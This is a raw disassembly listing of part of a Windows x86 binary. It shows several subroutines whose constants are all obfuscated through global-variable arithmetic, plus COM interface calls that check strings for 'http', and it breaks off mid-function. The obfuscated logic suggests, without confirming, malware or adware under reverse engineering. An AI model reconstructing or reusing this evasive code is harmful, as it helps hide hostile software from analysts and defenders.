loc_442D41:				; CODE XREF: sub_442CE5+3Ej
		cmp	edi, 0FFFh
		jb	short loc_442D25
		lea	esi, [ebp+var_FFF]


loc_442D4F:				; CODE XREF: sub_442CE5+FCj
		push	offset dword_551C6C
		call	sub_43AC94
		push	offset dword_449FE0
		movsx	ebx, word_551234
		sub	ebx, 4
		push	ebx
		mov	ebx, dword_5511F0
		sub	ebx, 9
		push	ebx
		push	eax
		mov	ebx, dword_551178
		sub	ebx, 3
		push	ebx
		mov	ebx, dword_551148
		add	ebx, dword_5510FC
		sub	ebx, 9
		push	ebx
		push	esi
		push	[ebp+arg_0]
		mov	ebx, dword_551128
		sub	ebx, 5
		and	ebx, 0FFh
		push	ebx
		call	sub_4423A6
		add	esp, 28h
		mov	ecx, esi
		or	eax, 0FFFFFFFFh


loc_442DAF:				; CODE XREF: sub_442CE5+CFj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_442DAF
		mov	edx, dword_551174
		add	edx, dword_55117C
		sub	edx, 5
		add	edx, eax
		lea	esi, [esi+edx]
		mov	eax, dword_551198
		sub	eax, 3
		movsx	eax, byte ptr [esi+eax]
		mov	edx, dword_55110C
		sub	edx, 9
		cmp	eax, edx
		jnz	loc_442D4F
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_442CE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442DEC	proc near		; DATA XREF: .data:005512D8o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_10]
		mov	word ptr [ebp+arg_10], ax
		movsx	eax, word_551260
		inc	eax
		cmp	ds:dword_44B5D0, eax
		jnb	short loc_442E1A
		mov	eax, dword_5511F0
		sub	eax, 9
		mov	ds:dword_44B5D0, eax


loc_442E1A:				; CODE XREF: sub_442DEC+1Fj
		mov	edi, dword_5511E8
		sub	edi, 7
		jmp	short loc_442E31
; ---------------------------------------------------------------------------


loc_442E25:				; CODE XREF: sub_442DEC+53j
		lea	ebx, ds:44A0E0h[edi*4]
		cmp	ebx, esi
		jz	short loc_442E41
		inc	edi


loc_442E31:				; CODE XREF: sub_442DEC+37j
		movsx	eax, word_551210
		add	eax, 3E5h
		cmp	edi, eax
		jb	short loc_442E25


loc_442E41:				; CODE XREF: sub_442DEC+42j
		mov	eax, dword_551164
		add	eax, 3E8h
		cmp	eax, edi
		jnz	short loc_442E56
		xor	eax, eax
		jmp	loc_442FDF
; ---------------------------------------------------------------------------


loc_442E56:				; CODE XREF: sub_442DEC+61j
		mov	esi, dword_551208
		add	esi, dword_5510D4
		sub	esi, 8
		movzx	ebx, ds:word_48BA10[edi*2]
		cmp	esi, ebx
		jnz	short loc_442EA1
		movzx	eax, ds:byte_44B1B0[edi]
		push	eax
		push	ds:dword_449020[edi*4]
		call	sub_44569A
		add	esp, 8
		movsx	esi, word_551094
		sub	esi, 3
		mov	ds:dword_44A0E0[edi*4],	esi
		xor	eax, eax
		jmp	loc_442FDF
; ---------------------------------------------------------------------------


loc_442EA1:				; CODE XREF: sub_442DEC+83j
		mov	esi, dword_551128
		add	esi, 0FFF7h
		movsx	ebx, word_5510B0
		add	esi, ebx
		movzx	ebx, ds:word_48BA10[edi*2]
		cmp	esi, ebx
		jnz	loc_442FB9
		movsx	eax, word_551224
		add	eax, dword_551108
		sub	eax, 4
		mov	[ebp+var_4], eax
		jmp	loc_442FA2
; ---------------------------------------------------------------------------


loc_442EDE:				; CODE XREF: sub_442DEC+1C3j
		mov	esi, [ebp+var_4]
		movzx	ebx, ds:word_48BA10[esi*2]
		mov	edx, dword_5510DC
		add	edx, 0FFF3h
		add	edx, dword_55124C
		cmp	ebx, edx
		jz	loc_442F9F
		mov	ebx, esi
		shl	ebx, 2
		mov	edx, ds:dword_449020[edi*4]
		cmp	ds:dword_449020[ebx], edx
		jnz	loc_442F9F
		mov	edx, dword_55113C
		movsx	ecx, word_5511C4
		add	edx, ecx
		sub	edx, 10h
		cmp	ds:dword_44A0E0[ebx], edx
		jz	short loc_442F9F
		mov	bl, ds:byte_44B1B0[esi]
		cmp	bl, ds:byte_44B1B0[edi]
		jnz	short loc_442F9F
		movzx	esi, ds:word_48BA10[esi*2]
		movsx	ebx, word_55123C
		movsx	edx, word_551168
		add	ebx, edx
		sub	ebx, 6
		cmp	esi, ebx
		jnz	short loc_442F90
		mov	esi, dword_551100
		mov	ds:dword_44A0E0[edi*4],	esi
		mov	esi, [ebp+var_4]
		movzx	ebx, ds:byte_44B1B0[esi]
		push	ebx
		push	ds:dword_449020[esi*4]
		call	sub_44569A
		add	esp, 8
		jmp	short loc_442FB5
; ---------------------------------------------------------------------------


loc_442F90:				; CODE XREF: sub_442DEC+178j
		mov	esi, [ebp+var_4]
		lea	esi, ds:48BA10h[esi*2]
		dec	word ptr [esi]
		jmp	short loc_442FB5
; ---------------------------------------------------------------------------


loc_442F9F:				; CODE XREF: sub_442DEC+111j
					; sub_442DEC+12Aj ...
		inc	[ebp+var_4]


loc_442FA2:				; CODE XREF: sub_442DEC+EDj
		mov	eax, dword_5511B8
		add	eax, 3E1h
		cmp	[ebp+var_4], eax
		jb	loc_442EDE


loc_442FB5:				; CODE XREF: sub_442DEC+1A2j
					; sub_442DEC+1B1j
		xor	eax, eax
		jmp	short loc_442FDF
; ---------------------------------------------------------------------------


loc_442FB9:				; CODE XREF: sub_442DEC+D4j
		movzx	esi, ds:word_48BA10[edi*2]
		movsx	ebx, word_5511A8
		add	ebx, dword_551124
		sub	ebx, 8
		cmp	esi, ebx
		jle	short loc_442FDD
		dec	ds:word_48BA10[edi*2]


loc_442FDD:				; CODE XREF: sub_442DEC+1E7j
		xor	eax, eax


loc_442FDF:				; CODE XREF: sub_442DEC+65j
					; sub_442DEC+B0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	24h
sub_442DEC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442FE6	proc near		; DATA XREF: .data:005512C8o
		push	ebp
		mov	ebp, esp
		movsx	eax, word_551140
		sub	eax, 5
		cmp	ds:dword_54FC14, eax
		jbe	short loc_443006
		push	offset dword_54FC14
		call	ds:dword_448014


loc_443006:				; CODE XREF: sub_442FE6+13j
		mov	eax, ds:dword_54FC14
		pop	ebp
		retn	4
sub_442FE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44300F	proc near		; CODE XREF: sub_4457CD+29p

var_71F15	= byte ptr -71F15h
var_71F0B	= byte ptr -71F0Bh
var_70F0C	= dword	ptr -70F0Ch
var_70F08	= word ptr -70F08h
var_70F00	= dword	ptr -70F00h
var_70EFB	= byte ptr -70EFBh
var_70EF4	= dword	ptr -70EF4h
var_70EEF	= byte ptr -70EEFh
var_60EF0	= word ptr -60EF0h
var_60EE8	= dword	ptr -60EE8h
var_60EDD	= byte ptr -60EDDh
var_60EDC	= dword	ptr -60EDCh
var_60ED8	= dword	ptr -60ED8h
var_60ED4	= dword	ptr -60ED4h
var_60ED0	= word ptr -60ED0h
var_60EC8	= dword	ptr -60EC8h
var_60EBC	= dword	ptr -60EBCh
var_60EB8	= dword	ptr -60EB8h
var_60EB4	= dword	ptr -60EB4h
var_60EB0	= dword	ptr -60EB0h
var_60EAC	= dword	ptr -60EACh
var_60EA8	= dword	ptr -60EA8h
var_60EA4	= dword	ptr -60EA4h
var_60EA0	= dword	ptr -60EA0h
var_60E9B	= byte ptr -60E9Bh
var_50EA7	= byte ptr -50EA7h
var_50E9C	= dword	ptr -50E9Ch
var_50E97	= byte ptr -50E97h
var_40EB8	= word ptr -40EB8h
var_40EB0	= dword	ptr -40EB0h
var_40EA8	= byte ptr -40EA8h
var_40EA0	= dword	ptr -40EA0h
var_40E98	= dword	ptr -40E98h
var_40E94	= byte ptr -40E94h
var_40E90	= dword	ptr -40E90h
var_40E8C	= dword	ptr -40E8Ch
var_40E88	= dword	ptr -40E88h
var_40E84	= dword	ptr -40E84h
var_40E80	= byte ptr -40E80h
var_40E78	= dword	ptr -40E78h
var_40E70	= dword	ptr -40E70h
var_40E6C	= dword	ptr -40E6Ch
var_40E68	= dword	ptr -40E68h
var_40E64	= dword	ptr -40E64h
var_40E60	= dword	ptr -40E60h
var_40E59	= byte ptr -40E59h
var_40E57	= byte ptr -40E57h
var_30E58	= dword	ptr -30E58h
var_30E54	= dword	ptr -30E54h
var_30E50	= dword	ptr -30E50h
var_30E4C	= dword	ptr -30E4Ch
var_30E48	= dword	ptr -30E48h
var_30E44	= dword	ptr -30E44h
var_30E3F	= byte ptr -30E3Fh
var_30D4F	= byte ptr -30D4Fh
var_30D4B	= byte ptr -30D4Bh
var_30D42	= byte ptr -30D42h
var_30D40	= byte ptr -30D40h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 71F0Ch
		call	sub_44797C
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_40E80]
		push	eax
		call	ds:dword_448048
		lea	eax, [ebp+var_40E94]
		push	eax
		lea	eax, [ebp+var_40E80]
		push	eax
		push	9
		mov	eax, dword_551124
		sub	eax, 9
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4CC324
		mov	ebx, eax
		mov	eax, dword_551154
		add	eax, dword_5510C4
		sub	eax, 10h
		cmp	ebx, eax
		jnz	loc_443E7B
		mov	eax, [ebp+var_40E78]
		mov	[ebp+var_40E64], eax
		movsx	ecx, word_5510A0
		sub	ecx, 7
		mov	[ebp+var_40E60], ecx
		lea	ecx, [ebp+var_40E60]
		push	ecx
		push	offset dword_552AA4
		mov	eax, [ebp+var_40E64]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_551114
		movsx	edx, word_551104
		add	eax, edx
		sub	eax, 7
		cmp	eax, ebx
		jnz	loc_443E7B
		lea	eax, [ebp+var_40E84]
		push	eax
		mov	eax, [ebp+var_40E60]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+78h]
		mov	ebx, eax
		mov	eax, dword_551138
		add	eax, dword_5511D0
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_443E6F
		lea	eax, [ebp+var_40E57]
		push	eax
		push	[ebp+var_40E84]
		call	sub_44582B
		add	esp, 8
		push	[ebp+var_40E84]
		call	ds:dword_550034
		mov	eax, dword_551238
		mov	edx, dword_551148
		add	edx, eax
		cmp	byte ptr [ebp+edx+var_40E68+3],	74h
		jnz	short loc_443156
		movsx	edx, word_5510F0
		add	edx, dword_5510C8
		cmp	[ebp+edx+var_40E59], 74h
		jnz	short loc_443156
		add	eax, dword_551108
		cmp	byte ptr [ebp+eax+var_40E60+1],	70h
		jnz	short loc_443156
		mov	eax, dword_551184
		mov	edx, eax
		add	edx, eax
		cmp	byte ptr [ebp+edx+var_40E68+1],	68h
		jz	short loc_44315B


loc_443156:				; CODE XREF: sub_44300F+10Bj
					; sub_44300F+122j ...
		jmp	loc_443E6F
; ---------------------------------------------------------------------------


loc_44315B:				; CODE XREF: sub_44300F+145j
		lea	eax, [ebp+var_30E4C]
		push	eax
		mov	eax, [ebp+var_40E60]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+94h]
		mov	ebx, eax
		movsx	eax, word_551110
		movsx	edx, word_5511EC
		add	eax, edx
		sub	eax, 4
		cmp	ebx, eax
		jz	short loc_44319E
		mov	eax, dword_551128
		add	eax, dword_5511A0
		sub	eax, 7
		mov	[ebp+var_30E4C], eax


loc_44319E:				; CODE XREF: sub_44300F+179j
		lea	eax, [ebp+var_40E68]
		push	eax
		mov	eax, [ebp+var_40E60]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+48h]
		mov	ebx, eax
		mov	eax, dword_55114C
		sub	eax, 6
		cmp	ebx, eax
		jnz	loc_443E6F
		lea	eax, [ebp+var_40E6C]
		push	eax
		push	offset dword_552A34
		mov	eax, [ebp+var_40E68]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_551090
		movsx	edx, word_5511CC
		add	eax, edx
		sub	eax, 7
		cmp	eax, ebx
		jnz	loc_443E63
		lea	eax, [ebp+var_40E70]
		push	eax
		mov	eax, [ebp+var_40E6C]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+5Ch]
		mov	ebx, eax
		mov	eax, dword_5510E8
		sub	eax, 7
		cmp	ebx, eax
		jnz	loc_443E57
		lea	eax, [ebp+var_40E90]
		push	eax
		mov	eax, [ebp+var_40E70]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		mov	eax, dword_5511F4
		sub	eax, 5
		cmp	ebx, eax
		jnz	loc_443E4B
		push	offset dword_551C5C
		call	sub_43AEDD
		push	eax
		call	ds:dword_44900C
		mov	[ebp+var_30E44], eax
		mov	eax, dword_5511C0
		add	eax, dword_551174
		neg	eax
		mov	[ebp-40E5Ch], eax
		push	offset dword_551C48
		call	sub_43AEDD
		push	eax
		call	ds:dword_44900C
		mov	[ebp+var_30E48], eax
		mov	eax, dword_5510F4
		mov	[ebp+eax+var_30D42], 44h
		mov	eax, dword_551184
		add	eax, dword_551238
		mov	edx, dword_5510BC
		add	edx, dword_55124C
		sub	edx, 5
		mov	[ebp+eax+var_30D4F], dl
		movsx	eax, word_55123C
		add	eax, dword_55110C
		mov	[ebp+eax+var_30D4B], 7Ch
		lea	eax, [ebp+var_40E57]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_44802C
		add	esp, 10h


loc_4432DF:				; CODE XREF: sub_44300F+E10j
		movsx	eax, word_551214
		sub	eax, 3
		mov	[ebp+var_40E88], eax
		movsx	eax, word_551144
		add	eax, dword_551178
		sub	eax, 4
		mov	[ebp+var_40E8C], eax
		mov	eax, dword_5510BC
		add	eax, dword_551198
		sub	eax, 2
		neg	eax
		cmp	[ebp-40E5Ch], eax
		jnz	short loc_44336D
		lea	eax, [ebp+var_30E54]
		push	eax
		mov	eax, [ebp+var_40E6C]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		mov	ebx, eax
		movsx	eax, word_551260
		movsx	edx, word_551240
		add	eax, edx
		sub	eax, 0Ah
		cmp	eax, ebx
		jnz	loc_443E0D
		push	offset byte_551C37
		call	sub_43AC94
		push	eax
		lea	edi, [ebp+var_30D40]
		push	edi
		call	ds:dword_44802C
		add	esp, 0Ch
		jmp	loc_443486
; ---------------------------------------------------------------------------


loc_44336D:				; CODE XREF: sub_44300F+30Cj
		mov	[ebp+var_40EB8], 17h
		mov	eax, [ebp-40E5Ch]
		mov	[ebp+var_40EB0], eax
		lea	eax, [ebp+var_40EA8]
		push	eax
		lea	eax, [ebp+var_40EB8]
		push	eax
		mov	eax, [ebp+var_40E70]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+1Ch]
		lea	eax, [ebp+var_40E88]
		push	eax
		push	offset dword_552A84
		push	[ebp+var_40EA0]
		mov	edi, [ebp+var_40EA0]
		mov	edi, [edi]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_55121C
		add	eax, dword_5511DC
		sub	eax, 9
		cmp	eax, ebx
		jnz	loc_443E0D
		lea	eax, [ebp+var_40E8C]
		push	eax
		mov	eax, [ebp+var_40E88]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0D0h]
		mov	ebx, eax
		mov	eax, dword_551184
		sub	eax, 8
		cmp	ebx, eax
		jz	short loc_44340A
		mov	eax, [ebp+var_40E88]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		jmp	loc_443E0D
; ---------------------------------------------------------------------------


loc_44340A:				; CODE XREF: sub_44300F+3E8j
		lea	eax, [ebp+var_30E54]
		push	eax
		mov	eax, [ebp+var_40E8C]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+38h]
		mov	ebx, eax
		mov	eax, dword_5511D8
		movsx	edx, word_5510D8
		add	eax, edx
		sub	eax, 10h
		cmp	ebx, eax
		jz	short loc_443451
		mov	eax, [ebp+var_40E8C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	eax, [ebp+var_40E88]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		jmp	loc_443E0D
; ---------------------------------------------------------------------------


loc_443451:				; CODE XREF: sub_44300F+423j
		push	offset dword_551C28
		call	sub_43AC94
		push	dword ptr [ebp-40E5Ch]
		push	eax
		lea	edi, [ebp+var_30E3F]
		push	edi
		call	ds:dword_50EA28
		lea	eax, [ebp+var_30E3F]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_44802C
		add	esp, 18h


loc_443486:				; CODE XREF: sub_44300F+359j
		lea	eax, [ebp+var_30E58]
		push	eax
		mov	eax, [ebp+var_30E54]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+24h]
		mov	ebx, eax
		movsx	eax, word_5511EC
		add	eax, dword_55118C
		sub	eax, 3
		cmp	ebx, eax
		jnz	loc_443E0D
		mov	eax, dword_55113C
		add	eax, dword_5510C0
		sub	eax, 0Ah
		mov	[ebp+var_30E50], eax
		jmp	loc_443DFB
; ---------------------------------------------------------------------------


loc_4434CC:				; CODE XREF: sub_44300F+DF8j
		mov	eax, [ebp+var_30E50]
		mov	[ebp+var_60EC8], eax
		mov	[ebp+var_60ED0], 2
		mov	eax, dword_55124C
		mov	edx, dword_551124
		sub	edx, 9
		mov	byte ptr [ebp+eax+var_50E9C], dl
		lea	eax, [ebp+var_60EBC]
		push	eax
		lea	esi, [ebp+var_60ED0]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_60ED0]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_30E54]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		mov	eax, dword_5510C8
		movsx	edx, word_551268
		add	eax, edx
		sub	eax, 3
		cmp	ebx, eax
		jnz	loc_443DF5
		push	offset word_551C1A
		call	sub_43AC94
		push	[ebp+var_30E50]
		push	eax
		lea	edi, [ebp+var_30E3F]
		push	edi
		call	ds:dword_50EA28
		lea	eax, [ebp+var_30E3F]
		push	eax
		lea	eax, [ebp+var_30D40]
		push	eax
		call	ds:dword_44802C
		add	esp, 18h
		mov	eax, dword_5511FC
		mov	[ebp+var_60ED4], eax
		lea	eax, [ebp+var_60ED4]
		push	eax
		push	offset dword_552A54
		mov	eax, [ebp+var_60EBC]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word_5510EC
		add	eax, dword_551164
		cmp	ebx, eax
		jnz	loc_443A63
		lea	eax, [ebp+var_60ED8]
		push	eax
		mov	eax, [ebp+var_60ED4]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0F0h]
		mov	ebx, eax
		movsx	eax, word_55111C
		movsx	edx, word_551094
		add	eax, edx
		sub	eax, 3
		cmp	eax, ebx
		jnz	loc_443A57
		lea	eax, [ebp+var_60E9B]
		push	eax
		push	[ebp+var_60ED8]
		call	sub_44582B
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp+var_60EB4], edi
		push	[ebp+var_60ED8]
		call	ds:dword_550034
		mov	eax, dword_5511D8
		add	eax, dword_5510C4
		sub	eax, 10h
		mov	[ebp+var_40E98], eax
		jmp	short loc_443673
; ---------------------------------------------------------------------------


loc_44362E:				; CODE XREF: sub_44300F+670j
		mov	eax, [ebp+var_40E98]
		movsx	eax, [ebp+eax+var_60E9B]
		mov	edx, dword_551200
		add	edx, 0Ah
		cmp	eax, edx
		jz	short loc_443657
		movsx	edx, word_55112C
		add	edx, 5
		cmp	eax, edx
		jnz	short loc_44366D


loc_443657:				; CODE XREF: sub_44300F+638j
		mov	eax, [ebp+var_40E98]
		mov	edx, dword_551114
		sub	edx, 2
		mov	[ebp+eax+var_60E9B], dl


loc_44366D:				; CODE XREF: sub_44300F+646j
		inc	[ebp+var_40E98]


loc_443673:				; CODE XREF: sub_44300F+61Dj
		mov	eax, [ebp+var_60EB4]
		cmp	[ebp+var_40E98], eax
		jb	short loc_44362E
		lea	eax, [ebp+var_60E9B]
		push	eax
		lea	eax, [ebp+var_50E97]
		push	eax
		call	sub_44799C
		mov	eax, dword_551174
		dec	eax
		mov	[ebp+var_40E98], eax


loc_4436A0:				; CODE XREF: sub_44300F+7C9j
		mov	eax, [ebp+var_40E98]
		lea	ecx, [ebp+eax+var_60E9B]
		or	eax, 0FFFFFFFFh


loc_4436B0:				; CODE XREF: sub_44300F+6A6j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4436B0
		mov	[ebp+var_60EA4], eax
		movsx	edx, word_5510E4
		movsx	ecx, word_55111C
		lea	edx, [edx+ecx+0C8h]
		cmp	eax, edx
		ja	short loc_4436E3
		mov	edx, dword_551098
		sub	edx, 2
		cmp	eax, edx
		jnz	short loc_4436E8


loc_4436E3:				; CODE XREF: sub_44300F+6C5j
		jmp	loc_4437B6
; ---------------------------------------------------------------------------


loc_4436E8:				; CODE XREF: sub_44300F+6D2j
		movsx	eax, word_5510D8
		sub	eax, 9
		mov	[ebp+var_60EA0], eax
		jmp	short loc_443729
; ---------------------------------------------------------------------------


loc_4436FA:				; CODE XREF: sub_44300F+726j
		mov	eax, [ebp+var_60EA0]
		add	eax, [ebp+var_40E98]
		movsx	eax, [ebp+eax+var_60E9B]
		movsx	edx, word_551224
		mov	ecx, dword_55118C
		lea	edx, [edx+ecx+1Eh]
		cmp	eax, edx
		jnz	short loc_443737
		inc	[ebp+var_60EA0]


loc_443729:				; CODE XREF: sub_44300F+6E9j
		mov	eax, [ebp+var_60EA4]
		cmp	[ebp+var_60EA0], eax
		jb	short loc_4436FA


loc_443737:				; CODE XREF: sub_44300F+712j
		mov	eax, [ebp+var_60EA4]
		cmp	[ebp+var_60EA0], eax
		jz	short loc_4437B6
		push	dword_5510E0
		mov	eax, [ebp+var_40E98]
		lea	eax, [ebp+eax+var_60E9B]
		push	eax
		lea	eax, [ebp+var_50E97]
		push	eax
		call	sub_442127
		add	esp, 0Ch
		mov	[ebp+var_60EDC], eax
		mov	eax, dword_551174
		add	eax, 0FFFEh
		cmp	[ebp+var_60EDC], eax
		jnz	short loc_4437B6
		push	offset byte_551C15
		call	sub_43AC94
		push	eax
		lea	edi, [ebp+var_50E97]
		push	edi
		call	ds:dword_44802C
		mov	eax, [ebp+var_40E98]
		lea	eax, [ebp+eax+var_60E9B]
		push	eax
		lea	eax, [ebp+var_50E97]
		push	eax
		call	ds:dword_44802C
		add	esp, 14h


loc_4437B6:				; CODE XREF: sub_44300F:loc_4436E3j
					; sub_44300F+734j ...
		movsx	eax, word_5511CC
		sub	eax, 5
		add	eax, [ebp+var_60EA4]
		add	[ebp+var_40E98], eax
		mov	eax, [ebp+var_60EB4]
		cmp	[ebp+var_40E98], eax
		jb	loc_4436A0
		mov	eax, dword_5511A0
		mov	[ebp+var_60EB0], eax
		lea	ecx, [ebp+var_50E97]
		or	eax, 0FFFFFFFFh


loc_4437F2:				; CODE XREF: sub_44300F+7E8j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4437F2
		mov	[ebp+var_60EA4], eax
		mov	eax, dword_55109C
		add	eax, dword_551248
		sub	eax, 0Bh
		mov	[ebp+var_40E98], eax
		jmp	loc_443A2E
; ---------------------------------------------------------------------------


loc_443818:				; CODE XREF: sub_44300F+A2Bj
		movsx	eax, word_5511CC
		add	eax, 1Ah
		mov	edx, [ebp+var_40E98]
		movzx	edx, [ebp+edx+var_50E97]
		cmp	eax, edx
		jz	short loc_44383B
		and	[ebp+var_60EA8], 0


loc_44383B:				; CODE XREF: sub_44300F+823j
		mov	eax, [ebp+var_40E98]
		movzx	eax, [ebp+eax+var_50E97]
		movsx	edx, word_551140
		add	edx, 1Bh
		cmp	eax, edx
		jnz	loc_4439CA
		mov	eax, dword_5511E8
		sub	eax, 7
		cmp	[ebp+var_40E98], eax
		jbe	loc_443917
		mov	eax, [ebp+var_40E98]
		mov	edx, dword_551118
		sub	edx, 8
		sub	eax, edx
		mov	al, [ebp+eax+var_50E97]
		mov	[ebp+var_60EDD], al
		movzx	eax, [ebp+var_60EDD]
		movsx	edx, word_55112C
		mov	ecx, dword_5510E0
		lea	edx, [edx+ecx+1Ah]
		cmp	eax, edx
		jle	short loc_4438BC
		mov	edx, dword_5510A8
		add	edx, 27h
		add	edx, dword_5510C0
		cmp	eax, edx
		jl	short loc_44390D


loc_4438BC:				; CODE XREF: sub_44300F+898j
		movzx	eax, [ebp+var_60EDD]
		mov	edx, dword_551190
		add	edx, 72h
		add	edx, dword_551098
		cmp	eax, edx
		jle	short loc_4438EB
		movsx	edx, word_5511A8
		mov	ecx, dword_5510BC
		lea	edx, [edx+ecx+7Fh]
		cmp	eax, edx
		jl	short loc_44390D


loc_4438EB:				; CODE XREF: sub_44300F+8C5j
		movzx	eax, [ebp+var_60EDD]
		mov	edx, dword_5510C4
		add	edx, 30h
		cmp	eax, edx
		jle	short loc_443917
		movsx	edx, word_55115C
		add	edx, 3Eh
		cmp	eax, edx
		jge	short loc_443917


loc_44390D:				; CODE XREF: sub_44300F+8ABj
					; sub_44300F+8DAj
		mov	[ebp+var_60EA8], 1


loc_443917:				; CODE XREF: sub_44300F+85Aj
					; sub_44300F+8EEj ...
		mov	eax, [ebp+var_60EA4]
		cmp	[ebp+var_40E98], eax
		jnb	loc_4439CA
		mov	eax, [ebp+var_40E98]
		mov	edx, dword_551160
		movsx	ecx, word_551094
		add	edx, ecx
		sub	edx, 7
		add	eax, edx
		mov	al, [ebp+eax+var_50E97]
		mov	[ebp+var_60EDD], al
		movzx	eax, [ebp+var_60EDD]
		mov	edx, dword_551178
		add	edx, 77h
		cmp	eax, edx
		jle	short loc_443971
		mov	edx, dword_5511B4
		add	edx, 7Eh
		cmp	eax, edx
		jl	short loc_4439C0


loc_443971:				; CODE XREF: sub_44300F+953j
		movzx	eax, [ebp+var_60EDD]
		mov	edx, dword_551248
		add	edx, 2Eh
		add	edx, dword_551128
		cmp	eax, edx
		jle	short loc_44399E
		mov	edx, dword_5511D4
		add	edx, 31h
		add	edx, dword_551154
		cmp	eax, edx
		jl	short loc_4439C0


loc_44399E:				; CODE XREF: sub_44300F+97Aj
		movzx	eax, [ebp+var_60EDD]
		mov	edx, dword_551230
		add	edx, 1Bh
		cmp	eax, edx
		jle	short loc_4439CA
		movsx	edx, word_5510D8
		add	edx, 27h
		cmp	eax, edx
		jge	short loc_4439CA


loc_4439C0:				; CODE XREF: sub_44300F+960j
					; sub_44300F+98Dj
		mov	[ebp+var_60EA8], 1


loc_4439CA:				; CODE XREF: sub_44300F+846j
					; sub_44300F+914j ...
		mov	eax, dword_551204
		sub	eax, 3
		cmp	eax, [ebp+var_60EA8]
		jnz	short loc_4439FA
		mov	eax, [ebp+var_60EB0]
		mov	edx, [ebp+var_40E98]
		mov	dl, [ebp+edx+var_50E97]
		mov	[ebp+eax+var_50E97], dl
		inc	[ebp+var_60EB0]


loc_4439FA:				; CODE XREF: sub_44300F+9C9j
		mov	eax, [ebp+var_40E98]
		movzx	eax, [ebp+eax+var_50E97]
		mov	edx, dword_5511C0
		add	edx, 19h
		movsx	ecx, word_5511C4
		add	edx, ecx
		cmp	eax, edx
		jnz	short loc_443A28
		mov	[ebp+var_60EA8], 1


loc_443A28:				; CODE XREF: sub_44300F+A0Dj
		inc	[ebp+var_40E98]


loc_443A2E:				; CODE XREF: sub_44300F+804j
		mov	eax, [ebp+var_60EA4]
		cmp	[ebp+var_40E98], eax
		jb	loc_443818
		mov	eax, [ebp+var_60EB0]
		movsx	edx, word_5511CC
		sub	edx, 6
		mov	[ebp+eax+var_50E97], dl


loc_443A57:				; CODE XREF: sub_44300F+5D9j
		mov	eax, [ebp+var_60ED4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_443A63:				; CODE XREF: sub_44300F+5A6j
		mov	eax, dword_551230
		movsx	edx, word_5510B0
		add	eax, edx
		sub	eax, 6
		mov	[ebp+var_60EAC], eax
		lea	eax, [ebp+var_60EAC]
		push	eax
		push	offset dword_552A64
		mov	eax, [ebp+var_60EBC]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_551164
		movsx	edx, word_551220
		add	eax, edx
		dec	eax
		cmp	ebx, eax
		jnz	loc_443D7E
		lea	eax, [ebp+var_60EB8]
		push	eax
		mov	eax, [ebp+var_60EAC]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+6Ch]
		mov	ebx, eax
		movsx	eax, word_551168
		sub	eax, 4
		cmp	ebx, eax
		jnz	loc_443D72
		mov	eax, dword_551098
		sub	eax, 2
		mov	[ebp+var_50E9C], eax
		jmp	loc_443D60
; ---------------------------------------------------------------------------


loc_443AE9:				; CODE XREF: sub_44300F+D5Dj
		mov	eax, dword_5511E0
		add	eax, dword_5511D8
		sub	eax, 10h
		push	eax
		call	ds:dword_50EA24
		pop	ecx
		mov	[ebp+var_70F08], 2
		mov	eax, [ebp+var_50E9C]
		mov	[ebp+var_70F00], eax
		lea	eax, [ebp+var_70F0C]
		push	eax
		lea	esi, [ebp+var_70F08]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_70F08]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_60EAC]
		push	edi
